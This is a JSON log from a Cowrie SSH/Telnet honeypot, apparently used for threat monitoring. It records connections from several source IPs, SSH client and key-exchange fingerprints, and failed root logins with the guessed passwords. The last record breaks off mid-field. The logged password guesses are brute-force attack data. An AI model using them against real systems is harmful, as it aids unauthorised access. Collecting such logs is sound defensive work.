{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:e0:9c:2e:8e:25:2f:0c:b8:f2:db:5b:0b:3a:73:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZKosBriJRUKQgpJF20XN19zdMlWFBvXT5JVM9zsDAIAxdZ5m9PyMVWBLievICQF+eOiR45sxq9Eqbd/AqZ0UOoeZvvBbblecCkJtiAhweuJmahrs70eg/VEQiqOhGRJvn9KD+axjriPxwwMH3Kj31WXXUzt9Ld7THV5UeiqMgMqeBiBBhNglYG3PMmRFC/ggrMhewRIjWfqxQCycpNrhNuRV7YwSGZ7e36wMHAy47MqbHZHo9gKgvFAcoZQOGOyYEUbcCQngwYIY2GZaiNXdwz5FPbimzkwuM78rJTX1UTODYK4JTkhoXKx76D0o+9ODJdW8CVL4G4ru/I3Wvh/11","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:e0:9c:2e:8e:25:2f:0c:b8:f2:db:5b:0b:3a:73:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.625993Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:e0:9c:2e:8e:25:2f:0c:b8:f2:db:5b:0b:3a:73:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZKosBriJRUKQgpJF20XN19zdMlWFBvXT5JVM9zsDAIAxdZ5m9PyMVWBLievICQF+eOiR45sxq9Eqbd/AqZ0UOoeZvvBbblecCkJtiAhweuJmahrs70eg/VEQiqOhGRJvn9KD+axjriPxwwMH3Kj31WXXUzt9Ld7THV5UeiqMgMqeBiBBhNglYG3PMmRFC/ggrMhewRIjWfqxQCycpNrhNuRV7YwSGZ7e36wMHAy47MqbHZHo9gKgvFAcoZQOGOyYEUbcCQngwYIY2GZaiNXdwz5FPbimzkwuM78rJTX1UTODYK4JTkhoXKx76D0o+9ODJdW8CVL4G4ru/I3Wvh/11","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.629557Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:e1:ab:da:50:a0:07:a7:5f:01:dd:e4:ac:a4:28:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICAysi+1JIj4PnUkAHEWdKMbyACPOiAU+IJhSST+YWq4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 79:e1:ab:da:50:a0:07:a7:5f:01:dd:e4:ac:a4:28:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.661631Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:e1:ab:da:50:a0:07:a7:5f:01:dd:e4:ac:a4:28:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICAysi+1JIj4PnUkAHEWdKMbyACPOiAU+IJhSST+YWq4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.664951Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:cd:0b:a9:ee:e3:5c:f3:37:37:60:49:ed:06:cf:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMdw0CAlTwXXRr6e4pBJt2zXq43tDQztCrKOgGmweq7OLAEWsrZz9IgoiUn4CHcwdKaddW6RjzcMhKXsiShfzegbkM11RedUveJL5T2sscMJCebkDCy4lWSNAhUqhaTojr+xmpPqRb4W3OMhYPOTruHSnQOzsd6+q+bSMaGIATLBlYTypkp8lfr7N7W4qLv7KeE8/VKPnOtcZUJS0rRuWJGYR8fg/MU3ub1EcWOFRAH4LtcAixEP3NHVoV0MnoLLSaVkbjMrf0G+DmbIV6aBopvwouXV+8yibyryfmz434xyf5cIuXg1ovO5JeAVf9ojaCJ0KvqK29hLoV4xOkIVkB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:cd:0b:a9:ee:e3:5c:f3:37:37:60:49:ed:06:cf:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.697702Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:cd:0b:a9:ee:e3:5c:f3:37:37:60:49:ed:06:cf:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMdw0CAlTwXXRr6e4pBJt2zXq43tDQztCrKOgGmweq7OLAEWsrZz9IgoiUn4CHcwdKaddW6RjzcMhKXsiShfzegbkM11RedUveJL5T2sscMJCebkDCy4lWSNAhUqhaTojr+xmpPqRb4W3OMhYPOTruHSnQOzsd6+q+bSMaGIATLBlYTypkp8lfr7N7W4qLv7KeE8/VKPnOtcZUJS0rRuWJGYR8fg/MU3ub1EcWOFRAH4LtcAixEP3NHVoV0MnoLLSaVkbjMrf0G+DmbIV6aBopvwouXV+8yibyryfmz434xyf5cIuXg1ovO5JeAVf9ojaCJ0KvqK29hLoV4xOkIVkB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.701698Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:52:58.735420Z","src_ip":"68.235.61.155","session":"4eb192492657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.24404048919678,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:13.180266Z","src_ip":"135.148.14.151","session":"f24ee34c7318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26200795173645,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:20.588266Z","src_ip":"135.148.14.151","session":"5d62e5133aa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53160,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1841686a389","protocol":"telnet","message":"New connection: 135.148.14.151:53160 (159.203.135.109:23) [session: f1841686a389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:22.890617Z"}
{"eventid":"cowrie.session.closed","duration":35.242165327072144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:30.543106Z","src_ip":"135.148.14.151","session":"7524ddf42419","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":38658,"dst_ip":"10.17.0.5","dst_port":22,"session":"b513dea264ec","protocol":"ssh","message":"New connection: 103.77.175.15:38658 (10.17.0.5:22) [session: b513dea264ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:48.098319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:48.102666Z","src_ip":"103.77.175.15","session":"b513dea264ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:48.368296Z","src_ip":"103.77.175.15","session":"b513dea264ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vodolei","message":"login attempt [root/vodolei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:49.166247Z","src_ip":"103.77.175.15","session":"b513dea264ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":51372,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1de246c9a6d","protocol":"ssh","message":"New connection: 62.133.63.178:51372 (10.17.0.5:22) [session: d1de246c9a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:50.234147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:50.238727Z","src_ip":"62.133.63.178","session":"d1de246c9a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:50.367793Z","src_ip":"62.133.63.178","session":"d1de246c9a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:50.434685Z","src_ip":"103.77.175.15","session":"b513dea264ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345665432","message":"login attempt [root/12345665432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:51.489280Z","src_ip":"62.133.63.178","session":"d1de246c9a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00128650665283,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:52.120365Z","src_ip":"135.148.14.151","session":"a056a2bfffc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:52.614760Z","src_ip":"62.133.63.178","session":"d1de246c9a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38628,"dst_ip":"159.203.135.109","dst_port":23,"session":"55be73cb7a44","protocol":"telnet","message":"New connection: 135.148.14.151:38628 (159.203.135.109:23) [session: 55be73cb7a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:53.106366Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40014,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a1a5249720a","protocol":"telnet","message":"New connection: 135.148.14.151:40014 (159.203.135.109:23) [session: 0a1a5249720a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:56.063408Z"}
{"eventid":"cowrie.session.closed","duration":36.22339749336243,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:53:59.113902Z","src_ip":"135.148.14.151","session":"f1841686a389","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44780,"dst_ip":"159.203.135.109","dst_port":23,"session":"42d11d47d6dd","protocol":"telnet","message":"New connection: 135.148.14.151:44780 (159.203.135.109:23) [session: 42d11d47d6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:05.609520Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43398,"dst_ip":"159.203.135.109","dst_port":23,"session":"8611bc8279be","protocol":"telnet","message":"New connection: 135.148.14.151:43398 (159.203.135.109:23) [session: 8611bc8279be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:05.905471Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46052,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c07474c94bc","protocol":"telnet","message":"New connection: 135.148.14.151:46052 (159.203.135.109:23) [session: 7c07474c94bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:09.207145Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42384,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f2bbc2db16","protocol":"telnet","message":"New connection: 135.148.14.151:42384 (159.203.135.109:23) [session: f3f2bbc2db16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:16.138788Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49984,"dst_ip":"159.203.135.109","dst_port":23,"session":"d04a26cb781f","protocol":"telnet","message":"New connection: 135.148.14.151:49984 (159.203.135.109:23) [session: d04a26cb781f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:16.621313Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51454,"dst_ip":"159.203.135.109","dst_port":23,"session":"272007063ec0","protocol":"telnet","message":"New connection: 135.148.14.151:51454 (159.203.135.109:23) [session: 272007063ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:19.666596Z"}
{"eventid":"cowrie.session.closed","duration":36.88161778450012,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:29.987909Z","src_ip":"135.148.14.151","session":"55be73cb7a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.359169721603394,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:31.422466Z","src_ip":"135.148.14.151","session":"0a1a5249720a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38266,"dst_ip":"159.203.135.109","dst_port":22,"session":"f842d05049fa","protocol":"ssh","message":"New connection: 147.45.197.250:38266 (159.203.135.109:22) [session: f842d05049fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:37.062059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:37.066650Z","src_ip":"147.45.197.250","session":"f842d05049fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:37.156999Z","src_ip":"147.45.197.250","session":"f842d05049fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333444","message":"login attempt [root/111222333444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:37.425796Z","src_ip":"147.45.197.250","session":"f842d05049fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.774301290512085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:37.679666Z","src_ip":"135.148.14.151","session":"8611bc8279be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:38.517400Z","src_ip":"147.45.197.250","session":"f842d05049fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.186989545822144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:40.796398Z","src_ip":"135.148.14.151","session":"42d11d47d6dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35036,"dst_ip":"159.203.135.109","dst_port":23,"session":"f33dcff4db1b","protocol":"telnet","message":"New connection: 135.148.14.151:35036 (159.203.135.109:23) [session: f33dcff4db1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:44.982438Z"}
{"eventid":"cowrie.session.closed","duration":37.49484872817993,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:46.701601Z","src_ip":"135.148.14.151","session":"7c07474c94bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.410306215286255,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:49.548960Z","src_ip":"135.148.14.151","session":"f3f2bbc2db16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":46860,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e6caaac2b98","protocol":"ssh","message":"New connection: 208.87.243.61:46860 (10.17.0.5:22) [session: 0e6caaac2b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:52.850461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:52.855221Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:52.931746Z","src_ip":"208.87.243.61","session":"0e6caaac2b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.272021770477295,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:54:52.938516Z","src_ip":"135.148.14.151","session":"272007063ec0","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:c7:c6:8a:90:6a:51:b2:2b:20:49:b5:a1:95:7d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfqjpm1B4IsD1k56DWEI8pQGLiSh4d+hrzhWk4wZyJD+i01f96icQGGAPkuKj+EMDEkHQkq3y9YUNZ1+nWwS7juRJhg6JDAkrdCgUTvUiN8C+YYfMLeCCdRE6NDI+XHyT6phwzS3z1NdhxtjhqOgsVCUwkzojNmWkCkgN9WYB36xjip5UhlCpZ/dsmU+ovMapN7QKkKjOVWOXTknCSBFSdeamIgpysiuP3SfuJL8jD83U6ICv/PRJVvXd+tq07htVzrdNnz6PbG5T0ALOfZ5gUmiS92eJk9UCTJLF+cVpqdZZS33UJ9onhZUE69IyBQf22IdaZWsCnplTtT8SQYFItnYXVYEP/wJlUse9ClgvYDe7/RDRxPkMcUOy+TKjzk+RvgPnlPJjFu/563uSO+i1Ru8Ia1EErt45oqRHKCszpJsHMB6VrMGLjDeGxFL5bRo20P/6fPxvmhsxcWGFoLiVIt/qQb49PVz8oMDgk243ayT/Wq3Neq6uBT19axeaVeqvSBilqWpqR5r41Seqs+hF5nuC2FwqV9rASY8jwqJX17X+pOvh89jeZTeuVeXEZQ9twfA1XdRifD4jF3DpW7iTfjxaAZ+b28HEy1LqOP+CN1UGPQ3sJrlwvGKfC8wPEe3otbYBmoEYQA/yIZ/ZWflmkM/5VEjPqd2VdpW7+LUre1Q==","type":"ssh-rsa","message":"public key attempt for user root of type 